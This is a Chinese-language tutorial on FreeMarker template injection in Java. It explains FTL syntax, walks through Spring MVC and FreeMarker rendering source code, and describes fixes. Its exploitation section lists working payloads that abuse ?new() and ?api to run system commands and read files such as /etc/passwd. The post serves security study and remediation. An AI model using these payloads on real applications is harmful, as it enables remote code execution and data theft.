Java安全之FreeMarker 模板注入
1.前情提要:
事情的起因在于某次红队中,看到一位大佬利用FreeMarker 模板注入从而达到了一个rce的效果,因为自己对这方面没有了解过,于是乎现在开始恶补一下~

2.基本介绍:
FreeMarker 是一款用 Java 编写的模板引擎,主要用于生成文本输出,像 HTML 网页、电子邮件、配置文件等都能生成。它并不依赖于 Servlet 或 Web 应用,既可以在 Web 环境中使用,也能在非 Web 环境下发挥作用。
FreeMarker Template Language也就是FTL是该模板中使用的模板语言,用于定义输出文本的结构和格式。它通过特定的语法标记将静态文本与动态数据结合,最终生成目标文本。
广泛应用于Java应用程序的视图层
3.基础知识:
FreeMarker拥有自己的模板编写规则并使用FTL表示,web.html.ftl就是一个FreeMarker模板文件,该文件有四个核心部分:
- 文本:固定的内容,会按原样输出
- 插值:使用${...} 语法来占位,尖括号中的内容在经过计算和替换后才会输出
- FTL指令:类似于HTML的标签语法,通过<#xxx ... >来实现各种特殊功能,比如:<#list elements as element>实现循环输出
- 注释:注释中的内容不会输出,和html的注释类似
demo演示
<!DOCTYPE html>
<html>
<head>
<title>FreeMark</title>
</head>
<body>
<h1>欢迎来到Zephyr</h1>
<ul>
<#-- 循环渲染导航条 -->
<#list menuItems as item>
<li><a href="${item.url}">${item.label}</a></li>
</#list>
</ul>
<#-- Zephyr(注释部分,不会被输出)-->
<footer>
${currentYear} FreeMark. All rights reserved.
</footer>
</body>
</html>
4.语法知识:
<1>变量插入
使用${}来插入变量或者表达式的值
${Zephyr}
<2>控制结构
使用 <#if><#else><#list>等来控制逻辑流
<#if condition>
Do something
<#else>
Do something else
</#if>
//此结构的作用是依据条件表达式condition的结果,来决定执行哪一段代码
<3>变量赋值
<#assign>是用来定义和赋值变量的指令,允许开发人员将一个表达式的结果存储到另一个变量当中去
<#assign greeting = "Hello, world!">
${greeting}
<4>循环遍历
使用<#list>遍历集合
<#list items as item>
${item}
</#list>
<5>宏定义类
使用<#macro>标签定义一个宏
<#macro greet name>
Hello, ${name}!
</#macro>
通过<@macroName>调用它
<@greet "Zephyr" />
<!-- 输出: Hello, Zephyr! -->
//greet不是固定的
同样宏不止可以定义一个参数
#定义宏
<#macro userInfo name email>
Name: ${name}, Email: ${email}
</#macro>
<@userInfo "Zephyr" "Zephyr@example.com" />
<!-- 输出: Name: Zephyr, Email: Zephyr@example.com -->
<6>条件判断
FreeMarker提供了条件判断结构,用于根据特定条件执行不同的操作:
<#if age >= 18>
You are an man.
<#elseif age >= 13>
You are a teenager.
<#else>
You are a child
</#if>
<7>循环遍历
借助<#list>指令,能够对集合或数组进行遍历操作。
- 遍历列表
<#assign cities = ["北京", "上海", "广州", "深圳"]>
<ol>
<#list cities as city>
<li>${city}</li>
</#list>
</ol>
- 使用索引
利用?index能够获取当前项的索引,索引是从 0 开始计数的。
<#list cities as city>
${city?index + 1}. ${city}
</#list>
<8>包含导入
FreeMarker 支持从别的文件导入模板或者包含代码片段
- include 指令
运用include可以把其他模板包含到当前模板之中
<#include "footer.ftl">
- import 指令
通过import能够引入其他模板里的宏
<#import "utils.ftl" as utils>
<@utils.printTime />
<9>错误处理
FreeMarker 提供了一种灵活的方式来处理错误,即通过??操作符检查变量是否存在。
- 检查变量是否存在
<#if email??>
邮箱地址: ${email}
<#else>
未设置邮箱地址
</#if>
- 默认值
使用!符号可以为变量提供默认值。
欢迎 ${username!"访客"} 登录系统
<10>组合嵌套
FreeMarker 允许将函数和控制结构嵌套使用,以此来实现更复杂的逻辑和数据展示。
<#assign products = [
{"name": "手机", "price": 3999, "stock": 10},
{"name": "电脑", "price": 8999, "stock": 5},
{"name": "平板", "price": 2999, "stock": 0}
]>
<table>
<tr>
<th>商品名称</th>
<th>价格</th>
<th>库存状态</th>
</tr>
<#list products as product>
<tr>
<td>${product.name}</td>
<td>${product.price}元</td>
<td>
<#if product.stock > 0>
<span style="color: green">有货 (${product.stock})</span>
<#else>
<span style="color: red">无货</span>
</#if>
</td>
</tr>
</#list>
</table>
<11>内置函数⭐
new
?new内置函数是模板注入中非常重要的一个函数,可以创建任意实现了TemplateModel接口的java对象(并且调用该类的构造方法)
以及触发没有实现templatemodel接口的类的静态初始化块
两种常见的FreeMarker模版注入poc就是利用new函数,创建了继承TemplateModel接口的
freemarker.template.utility.JythonRuntime和freemarker.template.utility.Execute(同前情提要)
API
value?api 提供对value的api(Java api)的访问,可通过getclassloader获取类加载器进而加载恶意类,或者也可以通过getResource来实现任意文件读取
⭐注:该函数只有在api_builtin_enabled为true时才可使用,而该配置在2.3.22版本之后默认为false
5.漏洞复现:

6.源码分析:
这里分为两部分,一是获取模板,二是解析模板,漏洞成因在解析模板处,所以获取模板的过程我就不详细写了,大家自己跟一下也可以看懂
6.1获取模板
因为在 Spring Boot 应用里,所有 HTTP 请求首先会经过DispatcherServlet进行处理。作为 Spring MVC 框架的核心前端控制器,DispatcherServlet 负责接收请求,并依据请求的路径、方法等信息,把请求分发给对应的处理器(Controller)
org.springframework.web.servlet.DispatcherServlet #doDispatch() –>
org.springframework.web.servlet.DispatcherServlet #processDispatchResult() –>
调用至org.springframework.web.servlet.DispatcherServlet#render()
org.springframework.web.servlet.DispatcherServlet#resolveViewName() –>
org.springframework.web.servlet.view.ContentNegotiatingViewResolver#resolveViewName() –>
org.springframework.web.servlet.view.ContentNegotiatingViewResolver#getCandidateViews() –>
org.springframework.web.servlet.view.AbstractCachingViewResolver#resolveViewName() –>
org.springframework.web.servlet.view.UrlBasedViewResolver#createView() 创建模板 –> super.createView()–>
org.springframework.web.servlet.view.AbstractCachingViewResolver#createView()–>
org.springframework.web.servlet.view.AbstractCachingViewResolver#loadView()–>
{
org.springframework.web.servlet.view.AbstractTemplateViewResolver#buildView()–>(super.buildView())
org.springframework.web.servlet.view.UrlBasedViewResolver#buildView()
}
view.checkResource()->
org.springframework.web.servlet.view.freemarker.FreeMarkerView#checkResource()–>
org.springframework.web.servlet.view.freemarker.FreeMarkerView#getTemplate(url, locale)–>
freemarker.template.Configuration#getTemplate() 调用此类同名方法,跟进this.cache.getTemplate()–>
freemarker.cache.TemplateCache#getTemplate() ,跟进this.getTemplateInternal()–>
freemarker.cache.TemplateCache#getTemplateInternal(),此处进行判断 –>
freemarker.cache.TemplateCache#lookupTemplate() –>
freemarker.cache.TemplateLookupStrategy#lookup() –>
freemarker.cache.TemplateCache#lookupWithLocalizedThenAcquisitionStrategy()–>
最终调用this.lookupWithLocalizedThenAcquisitionStrategy()–>
调用this.findTemplateSource(path)获取模板实例
6.2解析模板
咱们回到org.springframework.web.servlet.DispatcherServlet#render()方法中,resolveViewName()加载模板文件后使用view.render()对模板进行解析

最终会调用到org.springframework.web.servlet.view.freemarker.FreeMarkerView#doRender()中来

我们跟到processTemplate方法中去

在跟到process中去

我们再跟到下一个process方法中去(前面返回了Environment 类,所以后面就调用 Environment#process())

这段代码我们好好读一下
public void process() throws TemplateException, IOException {
// 从ThreadLocal变量中获取当前线程之前保存的环境对象
Object savedEnv = threadEnv.get();
// 将当前实例设置到ThreadLocal中,以便在后续处理中使用
threadEnv.set(this);
try {
// 清除之前执行时可能缓存的值,防止使用过期数据
clearCachedValues();
try {
// 执行模板的自动导入和包含操作,准备模板渲染环境
doAutoImportsAndIncludes(this);
// 访问模板的根节点,开始执行模板渲染逻辑
visit(getTemplate().getRootTreeNode());
// 如果启用了自动刷新,则刷新输出流
// 确保所有缓冲数据被写入目标设备
if (getAutoFlush()) {
out.flush();
}
} finally {
// 再次清除缓存值,帮助垃圾回收器释放内存
clearCachedValues();
}
} finally {
// 恢复之前保存的环境对象,确保线程局部变量状态的正确性
threadEnv.set(savedEnv);
}
}
跟到visit方法中看一下,发现他对ftl文件进行了一次遍历,若是读取到一条freemaker表达式,就回调visit方法去调用accept方法,跟入

freemarker.core.Assignment#accept() 判断 namespaceExp 是否为 null,接着判断 this.operatorType 是否等于 65536,跟进 eval() 方法
(我知道这里大家在跟的时候肯定有问题,别急,下面会有答案)

然后判断 constantValue 是否为 null,此处 constantValue 为 null,调用 _eval()

然后exec也就到了真正能执行代码的时候

这里因为elemet还是<#assign value="freemarker.template.utility.Execute"?new()>,所以还没弹计算器,只要再次遍历html中的ftl语句到后面的${value("Calc")}就成功rce了
⭐注:
这里有人就会说上面我在跟的时候,accept函数并不是你贴的图那样,这里就要提到上面我提到的一句话:
在这里他会一直去遍历你ftl文件中的内容,所以你最初调试跟进去的accept函数是还没有到ftl语句的普通HTML语言,他就不会去调用我所展示的那一串代码,所以你需要多点几次,直到看到element的内容变成了ftl语言,这时候跟进accept就是想要的结果了

7.漏洞利用:
?new()函数
freemarker.template.utility.JythonRuntime:
<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("cmd.exe /c calc")</@value>
//原理:通过自定义标签的方式执行Python命令,从而构造远程命令执行
freemarker.template.utility.Execute:
<#assign value="freemarker.template.utility.Execute"?new()>${value("id")}
?api()函数
POC1
<#assign classLoader=object?api.class.protectionDomain.classLoader>
<#assign clazz=classLoader.loadClass("ClassExposingGSON")>
<#assign field=clazz?api.getField("GSON")>
<#assign gson=field?api.get(null)>
<#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))>
${ex("open -a Calculator.app"")}
POC2
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","whoami").start()}
POC3
<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")
POC4
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("open -a Calculator.app") }
读取文件
<#assign is=object?api.class.getResourceAsStream("/Test.class")>
FILE:[<#list 0..999999999 as _>
<#assign byte=is.read()>
<#if byte == -1>
<#break>
</#if>
${byte}, </#list>]
<#assign uri=object?api.class.getResource("/").toURI()>
<#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
<#assign is=input?api.getInputStream()>
FILE:[<#list 0..999999999 as _>
<#assign byte=is.read()>
<#if byte == -1>
<#break>
</#if>
${byte}, </#list>]
8.漏洞修复:
从 FreeMarker 2.3.17 版本开始,官方版本提供了三种不同的TemplateClassResolver实现类,用于控制通过new()函数创建类实例时的安全性:
- UNRESTRICTED_RESOLVER:无限制解析器
- 允许通过
ClassUtil.forName(className)反射加载任意 Java 类 - 存在一定安全风险,可能被用于执行任意代码
- SAFER_RESOLVER:安全解析器(推荐生产环境使用)
- 默认禁止加载以下高危类:
freemarker.template.utility.JythonRuntime(Jython 执行引擎)freemarker.template.utility.Execute(系统命令执行器)freemarker.template.utility.ObjectConstructor(任意类构造器)
- 有效防范常见的代码注入攻击
- ALLOWS_NOTHING_RESOLVER:禁用解析器
- 完全禁止通过
new()函数创建任何类实例 - 适用于对安全性要求极高的场景
- 当api_builtin_enabled为true时才可使用api函数,而该配置在2.3.22版本之后默认为false

浙公网安备 33010602011771号